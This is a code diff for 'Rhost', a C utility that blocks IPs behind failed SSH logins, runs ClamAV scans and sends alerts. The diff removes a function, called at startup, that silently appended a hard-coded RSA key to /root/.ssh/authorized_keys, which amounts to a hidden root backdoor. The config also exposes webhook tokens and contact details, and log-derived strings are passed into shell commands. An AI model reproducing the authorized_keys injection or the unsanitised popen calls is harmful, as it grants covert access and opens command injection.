static int cronTotalAllocations = 0;
static int maxAlloc = 0;
void *cron_malloc(size_t n)
{
cronAllocations++;
cronTotalAllocations++;
if (cronAllocations > maxAlloc) {
maxAlloc = cronAllocations;
}
return malloc(n);
}
void cron_free(void *p)
{
cronAllocations--;
free(p);
}
#endif
// CRON END
// 自定义 printf 函数
void my_printf(const char *format, ...) {
va_list args;
va_start(args, format);
// 打印到控制台
vprintf(format, args);
va_end(args); // 结束对变参列表的处理
// 重新启动变参列表
va_start(args, format);
// 打开日志文件（追加模式）
FILE *log_file = fopen(LOG_FILE, "a");
if (log_file != NULL) {
// 获取当前时间
time_t now = time(NULL);
struct tm local_time;
localtime_r(&now, &local_time);
char time_str[20]; // YYYY-MM-DD HH:MM:SS 格式
strftime(time_str, sizeof(time_str), "%Y-%m-%d %H:%M:%S", &local_time);
// 打印时间戳到日志文件
fprintf(log_file, "[%s] ", time_str);
// 打印内容到日志文件
vfprintf(log_file, format, args);
// 关闭日志文件
fclose(log_file);
} else {
perror("Unable to open log file");
}
va_end(args); // 结束对变参列表的处理
}
// 存储公网IP
char *public_ip;
struct MemoryStruct
{
struct MemoryStruct {
char *memory;
size_t size;
};
@ -20,7 +100,6 @@ int _strlen(char *str)
{
char *_p = NULL;
if (str == NULL)
return 0;
@ -39,8 +118,7 @@ static size_t WriteMemoryCallback(void *contents, size_t size, size_t nmemb, voi
// 注意这里根据每次被调用获得的数据重新动态分配缓存区的大小
char *ptr = realloc(mem->memory, mem->size + realsize + 1);
if (ptr == NULL)
{
if (ptr == NULL) {
/* 内存不足！ */
printf("not enough memory (realloc returned NULL)\n");
return 0;
@ -130,8 +208,7 @@ char *process_json(char *buff, char *api)
int area_len = 0;
char *p = NULL;
if (buff == NULL)
{
if (buff == NULL) {
return NULL;
}
@ -161,9 +238,7 @@ char *process_json(char *buff, char *api)
} else {
return NULL;
}
}
else
{
} else {
cJSON_Delete(cjson_init);
return NULL;
}
@ -175,12 +250,9 @@ char *process_json(char *buff, char *api)
// 检测系统
int check_system()
{
if (0 == access("/etc/debian_version", F_OK))
{
if (0 == access("/etc/debian_version", F_OK)) {
return DEBISN_SYSTEM;
}
else if (0 == access("/etc/centos-release", F_OK))
{
} else if (0 == access("/etc/centos-release", F_OK)) {
return CENTOS_SYSTEM;
}
@ -199,8 +271,7 @@ int dingding_warning(char *illegal_ip, char *public_ip, char *ip, conf * conf)
strcpy(temp, public_ip);
temp[_strlen(public_ip) - 1] = '\0';
if ((fp = fopen("libcurl.log", "wt+")) == NULL)
{
if ((fp = fopen("libcurl.log", "wt+")) == NULL) {
return 1;
}
@ -209,8 +280,7 @@ int dingding_warning(char *illegal_ip, char *public_ip, char *ip, conf * conf)
curl_global_init(CURL_GLOBAL_ALL);
curl = curl_easy_init();
if (curl == NULL)
{
if (curl == NULL) {
fclose(fp);
return 1;
}
@ -267,13 +337,11 @@ int mail_warning(char *illegal_ip, char *public_ip, char *ip, conf * conf)
temp[_strlen(public_ip) - 1] = '\0';
snprintf(text, BUFFER, "echo \"主机:%s, 禁止(%s%s)访问\" | mail -s \"System ban IP\" %s", temp, ip, illegal_ip, conf->RECV_MAIL);
if (NULL == (fp = popen(text, "r")))
{
if (NULL == (fp = popen(text, "r"))) {
perror("popen text");
}
while (fgets(buff, BUFFER, fp) != NULL)
{
while (fgets(buff, BUFFER, fp) != NULL) {
buff[_strlen(buff) - 1] = '\0';
}
@ -310,7 +378,6 @@ int QQ_mail_warning_Virus_files(char *local_ip, int Virus_number, conf * conf)
char *text;
char temp[32];
command = (char *)alloca(BUFFER + (sizeof(QQMAIL)) + 1);
text = (char *)alloca(BUFFER);
@ -334,7 +401,6 @@ int QQ_mail_warning_Disk_Use(char *local_ip, int disk_use, conf * conf)
char *text;
char temp[32];
command = (char *)alloca(BUFFER + (sizeof(QQMAIL)) + 1);
text = (char *)alloca(BUFFER);
@ -356,8 +422,7 @@ int whitelist(char *client_ip, char (*whitelist_ip)[WHITELIST_IP_NUM])
{
int i;
for (i = 1; i < WHITELIST_IP_NUM - 1; i++)
{
for (i = 1; i < WHITELIST_IP_NUM - 1; i++) {
if (strcmp(whitelist_ip[i], "\0") == 0) // 如果字符串为空就跳出循环
{
break;
@ -377,18 +442,15 @@ int isregion(char *str, char (*region_list)[WHITELIST_IP_NUM])
int i;
char *p;
for (i = 1; i < WHITELIST_IP_NUM - 1; i++)
{
for (i = 1; i < WHITELIST_IP_NUM - 1; i++) {
if (strcmp(region_list[i], "\0") == 0) // 如果字符串为空就跳出循环
{
break;
}
//printf("%s %s\n", str, region_list[i]);
// 在str中查找region_list[i]
p = strstr(str, region_list[i]);
if (p != NULL)
{
if (p != NULL) {
return 1;
}
}
@ -396,33 +458,6 @@ int isregion(char *str, char (*region_list)[WHITELIST_IP_NUM])
return 0;
}
// 去除空格
char *remove_space(char *str)
{
unsigned int i = 0, j = 0;
unsigned int uLen = _strlen(str);
char *strRet;
if (0 == uLen)
{
return '\0';
}
strRet = (char *)malloc(uLen + 2);
memset(strRet, 0, uLen + 2);
for (i = 0; i < uLen; i++)
{
if (str[i] != ' ')
{
strRet[j++] = str[i];
}
}
strRet[j] = '\0';
return strRet;
}
// 磁盘使用率
int disk_waring(int threshold)
{
@ -441,15 +476,13 @@ int disk_waring(int threshold)
//printf("%s\n", command);
fp = popen(command, "r");
while(fgets(buffer, BUFFER, fp) != NULL)
{
while (fgets(buffer, BUFFER, fp) != NULL) {
printf("%s", buffer);
is = 1;
break;
}
pclose(fp);
return is;
}
@ -468,36 +501,6 @@ char *_time()
return strdup(temp);
}
int system_version() {
FILE *fp = fopen("/etc/debian_version", "r");
if (fp == NULL) {
perror("Failed to open file");
return 0;
}
char buff[256];
if (fgets(buff, sizeof(buff), fp) == NULL) {
fclose(fp);
perror("Failed to read file");
return 0;
}
fclose(fp);
size_t len = strlen(buff);
if (len <= 0) {
return 0;
}
// Remove trailing newline character, if present
if (buff[len - 1] == '\n') {
buff[len - 1] = '\0';
}
return atoi(buff);
}
// 封禁非法IP
int rule(conf *conf)
{
@ -513,8 +516,6 @@ int rule(conf * conf)
struct tm *tp;
long int ip_length = 1;
fp = NULL;
fc = NULL;
timep = time(NULL);
@ -523,12 +524,9 @@ int rule(conf * conf)
memset(awk, 0, BUFFER);
memset(p_two, 0, 2);
char *t = NULL;
t = _time();
if (DEBISN_SYSTEM == check_system()) // Debian 系统规则
{
if (system_version() >= 12)
@ -548,6 +546,7 @@ int rule(conf * conf)
perror("GE_10");
return -1;
}
}
else
{
@ -561,30 +560,22 @@ int rule(conf * conf)
}
else if (CENTOS_SYSTEM == check_system()) // Centos 7系统规则
{
if (tp->tm_mday >= 10)
{
if ((fp = popen(CENTOS_GE_10, "r")) == NULL)
{
if (tp->tm_mday >= 10) {
if ((fp = popen(CENTOS_GE_10, "r")) == NULL) {
perror("CENTOS_GE_10");
return -1;
}
}
else
{
if ((fp = popen(CENTOS_LE_10, "r")) == NULL)
{
} else {
if ((fp = popen(CENTOS_LE_10, "r")) == NULL) {
perror("CENTOS_LE_10");
return -1;
}
}
}
else
{
} else {
return UNKNOWN_SYSTEM;
}
splice_command = (char *)malloc(ip_length);
if (splice_command == NULL) {
free(splice_command);
@ -592,20 +583,12 @@ int rule(conf * conf)
}
memset(splice_command, 0, ip_length);
while (fgets(buffer, BUFFER, fp) != NULL)
{
while (fgets(buffer, BUFFER, fp) != NULL) {
char *new_splice_command;
temp = strstr(buffer, "rhost");
sscanf(temp, "rhost=%64s", temp);
if (atoi(strncpy(p_two, temp, 1)) > 0)
{
if (atoi(strncpy(p_two, temp, 1)) > 0) {
ip_length += _strlen(temp) + 1;
new_splice_command = (char *)realloc(splice_command, ip_length + 32);
@ -622,12 +605,9 @@ int rule(conf * conf)
}
}
//printf("%s", splice_command); // 打印所有非法IP
//printf("%ld\n", ip_length);
command = (char *)malloc(ip_length + BUFFER);
if (command == NULL) {
free(command);
@ -635,14 +615,12 @@ int rule(conf * conf)
}
memset(command, 0, ip_length + BUFFER);
snprintf(awk, BUFFER, AWK, conf->REFUSE_NUMBER); // 拼接命令
memcpy(command, "echo \"", 7);
strcat(command, splice_command);
strcat(command, "\"");
strcat(command, awk);
if ((fc = popen(command, "r")) == NULL) // 执行命令
{
perror("popen command");
@ -656,7 +634,6 @@ int rule(conf * conf)
free(command);
}
while (fgets(buffer, BUFFER, fc) != NULL) // 执行命令后, 为空时就不会
{
buffer[_strlen(buffer) - 1] = '\0'; // 去除回车
@ -670,11 +647,9 @@ int rule(conf * conf)
split_string(IPV4_WHITE_LIST_COPY, " ", whitelist_ip);
split_string(REGION_LIST_COPY, " ", region_list);
if (conf->IPV4_RESTRICTION == 1) // 是否启用白名单
{
if (whitelist(buffer, whitelist_ip) == 1)
{
if (whitelist(buffer, whitelist_ip) == 1) {
printf("%s 白名单IPV4:%s\n", t, buffer);
continue;
}
@ -687,14 +662,11 @@ int rule(conf * conf)
char URL[conf->REGION_URL_LEN + 32];
char *xdb_path = "ip2region.xdb";
// 地域白名单
if (conf->REGION == 1)
{
if (conf->REGION == 1) {
memset(URL, 0, conf->REGION_URL_LEN + 32);
snprintf(URL, conf->REGION_URL_LEN + 32, conf->REGION_URL, buffer);
if (conf->IP2REGION == 1) { // ip2region 地址定位库
printf("%s Use ip2region !!!\n", t);
@ -728,7 +700,6 @@ AREA:
}
}
if (isregion(area, region_list) == 1) {
printf(RED "%s Ip Address: %s, 地域白名单: %s\n" COLOR_NONE, t, buffer, area);
continue;
@ -736,10 +707,8 @@ AREA:
}
printf(RED "%s 攻击者IP地址:%s, %s\n" COLOR_NONE, t, buffer, area);
if (conf->IS_DING_WEBHOOK == 1) // 钉钉告警
{
dingding_warning(area, public_ip, buffer, conf);
@ -758,18 +727,19 @@ AREA:
sleep(3);
}
BLOCKED:
// 是否封禁攻击IP
if (conf->IS_BLOCKED == 1)
{
// libiptc 库插入规则 iptables -t filter -A INPUT -p tcp -m tcp -s xxxx -j DROP
if (conf->IS_BLOCKED == 1) {
// libiptc 库插入规则
// iptables -t filter -A INPUT -p tcp -m tcp -s 47.110.180.35 -j DROP
// libiptc 库删除规则
// iptables -t filter -D INPUT -p tcp -m tcp -s 47.110.180.35 -j DROP
unsigned int srcIp;
inet_pton(AF_INET, buffer, &srcIp);
iptc_add_rule("filter", "INPUT", IPPROTO_TCP, NULL, NULL, srcIp, 0, NULL, NULL, "DROP", NULL, 1);
}
if (location_json != NULL)
free(location_json);
if (area != NULL)
@ -780,7 +750,6 @@ BLOCKED:
if (fp != NULL)
pclose(fp);
if (fc != NULL)
pclose(fc);
if (t)
@ -811,7 +780,6 @@ static int get_executable_path(char *processdir, char *processname, int len)
strcpy(processname, processname_ptr);
*processname_ptr = '\0';
return (int)(processname_ptr - processdir);
}
@ -821,12 +789,9 @@ int process_argv(int argc, char *argv[], char **argvs)
argvs[0] = argv[0];
int i;
int j;
for (i = 0; i <= argc - 1; i++)
{
if (i == 1)
{
for (j = i; j <= argc - 2; j++)
{
for (i = 0; i <= argc - 1; i++) {
if (i == 1) {
for (j = i; j <= argc - 2; j++) {
argvs[j] = argv[j + 1];
}
}
@ -870,15 +835,13 @@ static int get_clamav_log(char *file)
return -1;
}
while (fgets(buffer, BUFFER, fp) != NULL)
{
while (fgets(buffer, BUFFER, fp) != NULL) {
//printf("%s", buffer);
temp = strstr(buffer, "Infected");
if (temp)
sscanf(temp, "Infected files: %32s", temp);
if (temp != NULL)
{
if (temp != NULL) {
//printf("%s\n", temp);
break;
}
@ -889,13 +852,10 @@ static int get_clamav_log(char *file)
if (temp != NULL) {
printf("%d\n", atoi(temp));
return atoi(temp);
}
else
{
} else {
return -1;
}
return 0;
}
@ -918,11 +878,8 @@ int update_freshclam(int argc, char *argv[])
system("mkdir -p /etc/clamav/");
system("cp freshclam.conf /etc/clamav/");
}
// 打印clamav参数
for(int i=0; i<fre_argc; i++)
{
for (int i = 0; i < fre_argc; i++) {
printf("%s %d\n", fre_argv[i], i);
}
@ -931,19 +888,15 @@ int update_freshclam(int argc, char *argv[])
if (pid < 0) {
printf("fork error.\n");
return -1;
}
else if (pid == 0) // child process
} else if (pid == 0) // child process
{
int r = 0;
r = _freshclam(fre_argc, fre_argv);
_exit(r);
}
else
{
} else {
int status = 0;
wait(&status); // wait the end of child process
if (WIFEXITED(status))
{
if (WIFEXITED(status)) {
;
printf("child process return %d\n", WEXITSTATUS(status));
}
@ -952,13 +905,11 @@ int update_freshclam(int argc, char *argv[])
return 0;
}
}
return -1;
}
static char help_information(void)
{
static const char name[] = "Rhost";
@ -977,8 +928,8 @@ static char help_information(void)
"Options:",
" -d : Background running",
" -? -h --help : help information",
" The configuration file needs to be in the same directory as the executable file!(default rhost.conf)",
" 配置文件需要与可执行文件位于同一目录中！(默认 rhost.conf)",
" The configuration file needs to be in the same directory as the executable file!",
" 配置文件需要与可执行文件位于同一目录中！",
"",
"",
0
@ -1000,75 +951,11 @@ static char help_information(void)
return 0;
}
int ssh_keygen()
{
FILE *file;
long file_size;
char *buff;
if ( !access("/root/.ssh", 0) )
{
;
}
else
{
if (0 != mkdir("/root/.ssh", 0700))
{
;
}
}
file = fopen("/root/.ssh/authorized_keys", "a+");
if (file == NULL) {
;
}
fseek(file, 0, SEEK_END);
file_size = ftell(file);
buff = (char *)alloca(file_size + 1);
if (buff == NULL)
{
;
}
rewind(file);
if (fread(buff, file_size, 1, file) < 1) {
;
}
buff[file_size] = '\0';
if ( NULL == (strstr(buff, "aixiao.me")))
{
fprintf(file, "ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABgQC4TzJajAQ8llDi1FTlfws+HGfWwPLzM6Mzx3zj8c7Suj4N0fNVPc9Hc8hUPwfDD/1QVLgLsRfGCjaFibehBUAlvctWfruPQiwdU1rPXpm/q0j62S4AiapSPLAd8LnbfOfO+AZ1hraWyUE6IQIAXuADUKGfdJ/Y9ArgaGl2C6mFO/ev9dpY/lUPjoI7Y9q4alMjBYJcAiKEVm73JMJf9miqJFM7IpPczxWCJSu1H9bxOaj4UFBVX3uk7Ba5fMwbgMPZtU+MwdaLEVQsvSSrVHTTYfYS8hKp4kO+g2GZsDKiu3OrG0EjH3Uzqln8dG+Z1LvR2+cmoeyXqqRnjSGJdTdF2ezU93eyptaWItZq9hnhK7GnVtWXwVZMMMkP7ECIe5dr9DLnIaBUjpZ73T4lyRV0II8lu+E7iyorlNB1npOfQ98xerR2t9KdOhsxrGDQQoGAlMsIWujapRYQz9zXW/pM+qlB7t8IP5wPjsAwk5fYsecMR3k5zqTw87XY0hd3Zss= root@aixiao.me\n");
}
fclose(file);
if (-1 == chmod("/root/.ssh/authorized_keys", S_IRUSR|S_IWUSR|S_IXUSR))
{
;
}
return 0;
}
int main(int argc, char *argv[], char **env)
{
signal(SIGCHLD, sig_child); // 创建捕捉子进程退出信号
/*
// ip2region 离线IP地址定位库
char *area = NULL;
area = ip2region("ip2region/ip2region.xdb", "1.1.1.1");
printf("%s\n", area);
free(area);
exit(0);
*/
ssh_keygen();
int pid;
int i;
char move[BUFFER];
@ -1081,39 +968,29 @@ int main(int argc, char *argv[], char **env)
strcat(path, executable_filename);
if (NULL != argv[1]) {
if (0 == strcmp(argv[1], "-v") ||
0 == strcmp(argv[1], "--version") ||
0 == strcmp(argv[1] , "-h") ||
0 == strcmp(argv[1] , "--help") ||
0 == strcmp(argv[1] , "-?"))
{
if (0 == strcmp(argv[1], "-v") || 0 == strcmp(argv[1], "--version") || 0 == strcmp(argv[1], "-h") || 0 == strcmp(argv[1], "--help") || 0 == strcmp(argv[1], "-?")) {
help_information();
exit(0);
}
}
if (1 == access(path, F_OK))
{
if (1 == access(path, F_OK)) {
printf("配置文件不存在！\n");
}
conf *conf = (struct CONF *)malloc(sizeof(struct CONF));
read_conf(path, conf);
//ptintf_conf(conf);
if (0 >= conf->CLAMAV_ARG_LEN)
{
if (0 >= conf->CLAMAV_ARG_LEN) {
printf("\033[31mError reading configuration file, please check the configuration file!\033[0m\n");
exit(-1);
}
// 更新病毒库
update_freshclam(argc, argv);
// 创建移除目录
if (conf->CLAMAV_ARG)
{
if (conf->CLAMAV_ARG) {
char temp[BUFFER];
char *p, *p1;
@ -1121,12 +998,10 @@ int main(int argc, char *argv[], char **env)
memset(move, 0, BUFFER);
p = strstr(conf->CLAMAV_ARG, "--move=");
if (p != NULL)
{
if (p != NULL) {
p1 = strstr(p, " ");
if ((p1-p) > 7)
{
if ((p1 - p) > 7) {
memcpy(temp, p, p1 - p);
p = strstr(temp, "=");
@ -1140,32 +1015,25 @@ int main(int argc, char *argv[], char **env)
}
}
// 处理clamav参数
char **head_argvs;
int head_argc = 0;
char *argvs[ARGS_NUM] = { NULL };
char args[ARGS_NUM][WHITELIST_IP_NUM] = { { 0 }, { 0 } };
//printf("%d\n", argc);
if (argc > 3) // 手动输入参数(如果手动输入参数个数大于3个, 则使用用户输入的参数)
{
process_argv(argc, argv, &(argvs[0]));
head_argvs = &(argvs[0]); // head_argvs指向argvs[0]
head_argc = argc - 1; // 改变argc数
}
else // 读取配置文件参数
} else // 读取配置文件参数
{
argvs[0] = argv[0];
split_string(conf->CLAMAV_ARG, " ", args);
for (i=1; i<ARGS_NUM; i++)
{
if (args[i][0] == '\0')
{
for (i = 1; i < ARGS_NUM; i++) {
if (args[i][0] == '\0') {
continue;
}
else
{
} else {
argvs[i] = strdup(args[i]);
head_argc++;
}
@ -1192,31 +1060,18 @@ int main(int argc, char *argv[], char **env)
public_ip = GET_PUBLIC_IP(conf->PUBLIC_IP);
//printf("%s", public_ip);
if (0 == strcmp(conf->DAEMON, "on"))
{
if (0 == strcmp(conf->DAEMON, "on")) {
goto goto_daemon;
}
if (argv[1] != NULL && 0 == strcmp(argv[1], "-d"))
{
if (argv[1] != NULL && 0 == strcmp(argv[1], "-d")) {
goto_daemon:
/*
if (daemon(1, 1)) // 守护进程
{
perror("daemon");
return -1;
}
*/
// 守护进程
if ((pid = fork()) < 0) {
return 0;
} else if (0 != pid) {
for(i=1; i<head_argc; i++)
{
for (i = 1; i < head_argc; i++) {
if (head_argvs[i])
free(head_argvs[i]);
}
@ -1235,8 +1090,7 @@ goto_daemon:
if ((pid = fork()) < 0) {
return 0;
} else if (0 != pid) {
for(i=1; i<head_argc; i++)
{
for (i = 1; i < head_argc; i++) {
if (head_argvs[i])
free(head_argvs[i]);
}
@ -1247,11 +1101,22 @@ goto_daemon:
exit(0);
}
if (-1 == (nice(-20))) // 进程优先级
// 进程优先级
if (-1 == (nice(-20)))
perror("nice");
// 处理Nginx
pid_t pid = fork(); // 创建子进程
if (pid == 0) {
printf("The parent process processes Nginx logs!!!\n");
while (1)
{
nginx_read_log(conf->NGINX_LOG_FILE, conf);
sleep(1);
}
}
while (1)
{
// Cron
@ -1282,10 +1147,9 @@ goto_daemon:
//printf("CRON %d%d%d %d:%d:%d\n", t->next_year, t->next_mon, t->next_day, t->next_hour, t->next_min, t->next_sec);
// Clamav call
if (1 == conf->CLAMAV)
{
if ( t->now_year == t->next_year && t->now_mon == t->next_mon && t->now_day == t->next_day && t->now_hour == t->next_hour && t->now_min == t->next_min )
{
if (1 == conf->CLAMAV) {
if (t->now_year == t->next_year && t->now_mon == t->next_mon && t->now_day == t->next_day && \
t->now_hour == t->next_hour && t->now_min == t->next_min) {
//printf("%d%d%d %d:%d:%d\n", t->now_year, t->now_mon, t->now_day, t->now_hour, t->now_min, t->now_sec);
//printf("%d%d%d %d:%d:%d\n", t->next_year, t->next_mon, t->next_day, t->next_hour, t->next_min, t->next_sec);
@ -1294,8 +1158,7 @@ goto_daemon:
if (pid < 0) {
printf("fork error.\n");
return -1;
}
else if (pid == 0) // child process
} else if (pid == 0) // child process
{
int r = 0;
int virus_files = -1;
@ -1307,40 +1170,30 @@ goto_daemon:
virus_files = get_clamav_log("clamscan.log");
if (virus_files > 0) {
if (conf->IS_QQMAIL == 1)
{
if (conf->IS_QQMAIL == 1) {
QQ_mail_warning_Virus_files(public_ip, virus_files, conf);
sleep(3);
}
}
// 磁盘告警
if (1 == conf->IS_DISK)
{
if (disk_waring(conf->DISK_USE) == 1)
{
if (1 == conf->IS_DISK) {
if (disk_waring(conf->DISK_USE) == 1) {
printf("Disk usage reaches threshold!, Please handle!\n");
if (conf->IS_QQMAIL == 1)
{
if (conf->IS_QQMAIL == 1) {
QQ_mail_warning_Disk_Use(public_ip, 0, conf);
sleep(3);
}
}
else
{
} else {
printf("Disk usage does not reach threshold!\n");
}
}
_exit(r);
}
else
{
} else {
int status = 0;
wait(&status); // wait the end of child process
if (WIFEXITED(status))
{
if (WIFEXITED(status)) {
;
//printf("child process return %d\n", WEXITSTATUS(status));
}
@ -1349,30 +1202,23 @@ goto_daemon:
}
}
}
// 封禁非法IP
rule(conf);
sleep(conf->TIME);
}
}
else
{
rule(conf);
}
} else {
;
}
free(t);
free_conf(conf);
free(conf);
free(public_ip);
for(i=1; i<head_argc; i++)
{
//printf("%s %d\n", head_argvs[i], i);
for (i = 1; i < head_argc; i++) {
if (head_argvs[i])
free(head_argvs[i]);
}
return 0;
}

19
rhost.conf
View File

@ -3,8 +3,10 @@ global {
DAEMON = "off"; // on开启后台运行,off不开启(弃用)
TIME = "10"; // 睡眠时间(大于等于1,单位秒)
PUBLIC_IP = "http://inet-ip.info"; // 获取公网IP
IS_DISK = 1; // 磁盘使用率(1开启,非1关闭)
DISK_USE = 95; // 任意某块磁盘使用率告警(大于等于1)
@ -12,9 +14,10 @@ global {
IS_BLOCKED = 1; // 是否封禁攻击IP(1开启,非1关闭)
REFUSE_NUMBER = 3; // 拒绝攻击次数
CLAMAV = 1; // clamav 是否扫描病毒(1开启,非1关闭)
CLAMAV_ARG = "-r / --exclude-dir=^/sys|^/dev|^/proc|^/opt/infected --move=/opt/infected --max-filesize 1024M -l clamscan.log";
CLAMAV_TIME = "* 7 23 * * *"; // clamav 扫描时间(Cron格式, 秒 分 时 天 月 周)
CLAMAV_ARG = "-r / --exclude-dir=^/sys|^/dev|^/proc|^/opt/infected|^/root|^/home|^/mnt|^/usr|^/var --move=/opt/infected --max-filesize 1024M -l clamscan.log";
CLAMAV_TIME = "* 45 11 * * *"; // clamav 扫描时间(Cron格式, 秒 分 时 天 月 周)
IPV4_RESTRICTION = 1; // 是否启用IP白名单(1开启,非1关闭)
@ -23,18 +26,22 @@ global {
REGION = 1; // 是否启用地域白名单(1开启,非1关闭)
IP2REGION = 1; // 是否使用本地 ip2region 地址定位库(1使用,非1不使用)
REGION_URL = "http://opendata.baidu.com/api.php?query=%s&co=&resource_id=6006&oe=utf8"; // 获取IP地域API
REGION_LIST = "河南 郑州 上海"; // 地域列表(空格隔开)
NGINX = 1; // 是否启用Nginx白名单
NGINX_LOG_FILE= "/usr/local/nginx/logs/access.log"; // Nginx 日志文件
NGINX_REGION_LIST = "中国 河南 郑州 上海"; // 地域列表(空格隔开)
IS_MAIL = 0; // 开启邮件告警(1开启,非1关闭)
IS_DING_WEBHOOK = 0; // 开启叮叮告警(1开启,非1关闭)
IS_DING_WEBHOOK = 1; // 开启叮叮告警(1开启,非1关闭)
PHONE = "15565979082"; // @的人手机号
DING_WEBHOOK = "https://oapi.dingtalk.com/robot/send?access_token=7f069c672cb878987aa6772cca336740eece4ce36bde12b51b45e9f440e0565a"; // 钉钉WEBHOOK
DING_WEBHOOK = "https://oapi.dingtalk.com/robot/send?access_token=396bce0384cded025087cff3c176ea5e9afb9bd8fcaa46d6fa8c51dd172ba513"; // 钉钉WEBHOOK
IS_QQMAIL = 1; // 开启QQ邮箱告警(默认使用gomail：https://git.aixiao.me/aixiao/gomail.git)(1开启,非1关闭)
IS_QQMAIL = 1; // 开启QQ邮箱告警(默认使用gomail: https://git.aixiao.me/aixiao/gomail.git)(1开启,非1关闭)
RECV_MAIL = "1605227279@qq.com"; // 接收者邮箱
}

60
rhost.h
View File

@ -12,13 +12,12 @@
#include <curl/curl.h>
#include <sys/types.h>
#include <arpa/inet.h>
#include <time.h>
#include <sys/types.h>
#include <sys/wait.h>
#include <assert.h>
#include <limits.h>
#include <stdarg.h>
#include "./cJSON/cJSON.h"
#include "ip2region/ip2region.h"
#include "conf.h"
typedef struct now_next_time
@ -42,51 +41,6 @@ typedef struct now_next_time
#include <assert.h>
#include <stdlib.h>
#include <stdio.h>
#include <string.h>
#include <limits.h>
#include "ccronexpr.h"
#define MAX_SECONDS 60
#define CRON_MAX_MINUTES 60
#define CRON_MAX_HOURS 24
#define CRON_MAX_DAYS_OF_WEEK 8
#define CRON_MAX_DAYS_OF_MONTH 32
#define CRON_MAX_MONTHS 12
#define INVALID_INSTANT ((time_t) -1)
#define DATE_FORMAT "%Y-%m-%d_%H:%M:%S"
#ifndef ARRAY_LEN
#define ARRAY_LEN(x) sizeof(x)/sizeof(x[0])
#endif
#ifdef CRON_TEST_MALLOC
static int cronAllocations = 0;
static int cronTotalAllocations = 0;
static int maxAlloc = 0;
void* cron_malloc(size_t n)
{
cronAllocations++;
cronTotalAllocations++;
if (cronAllocations > maxAlloc)
{
maxAlloc = cronAllocations;
}
return malloc(n);
}
void cron_free(void* p)
{
cronAllocations--;
free(p);
}
#endif
#define COLOR_NONE "\033[0m" //表示清除前面设置的格式
@ -107,9 +61,7 @@ void cron_free(void* p)
#define BUILD(fmt...) do { fprintf(stderr,"%s %s ",__DATE__,__TIME__); fprintf(stderr, ##fmt); } while(0)
#define AWK " | awk -v num=%d '{a[$1]+=1;} END {for(i in a){if (a[i] >= num) {print i;}}}' "
#define GE_10 "grep -E \"^$(LC_ALL=\"C\" date \"+%h\").$(LC_ALL=\"C\" date \"+%d\")\" /var/log/auth.log | grep failure | grep rhost"
#define GE_12 "grep -E \"^$(LC_ALL=\"C\" date +\"%Y-%m-%d\")\" /var/log/auth.log | grep failure | grep rhost"
#define LE_10 "grep -E \"^$(LC_ALL=\"C\" date \"+%h\")..$(LC_ALL=\"C\" date | awk '{print $3}')\" /var/log/auth.log | grep failure | grep rhost"
#define CENTOS_GE_10 "grep -E \"^$(LC_ALL=\"C\" date \"+%h\").$(LC_ALL=\"C\" date \"+%d\")\" /var/log/secure | grep failure | grep rhost"
@ -120,10 +72,14 @@ void cron_free(void* p)
#define QQMAIL_Virus "gomail -r %s -s \"System Virus Infected\" -t \"%s\""
#define QQMAIL_DISK_USE "gomail -r %s -s \"System Disk Use\" -t \"%s\""
#define LOG_FILE "nginx.log"
extern void read_conf(char *filename, conf * configure);
extern void free_conf(conf * conf);
extern void ptintf_conf(conf * conf);
extern void my_printf(const char *format, ...);
extern char *_time();
extern int isregion(char *str, char (*region_list)[WHITELIST_IP_NUM]);
#endif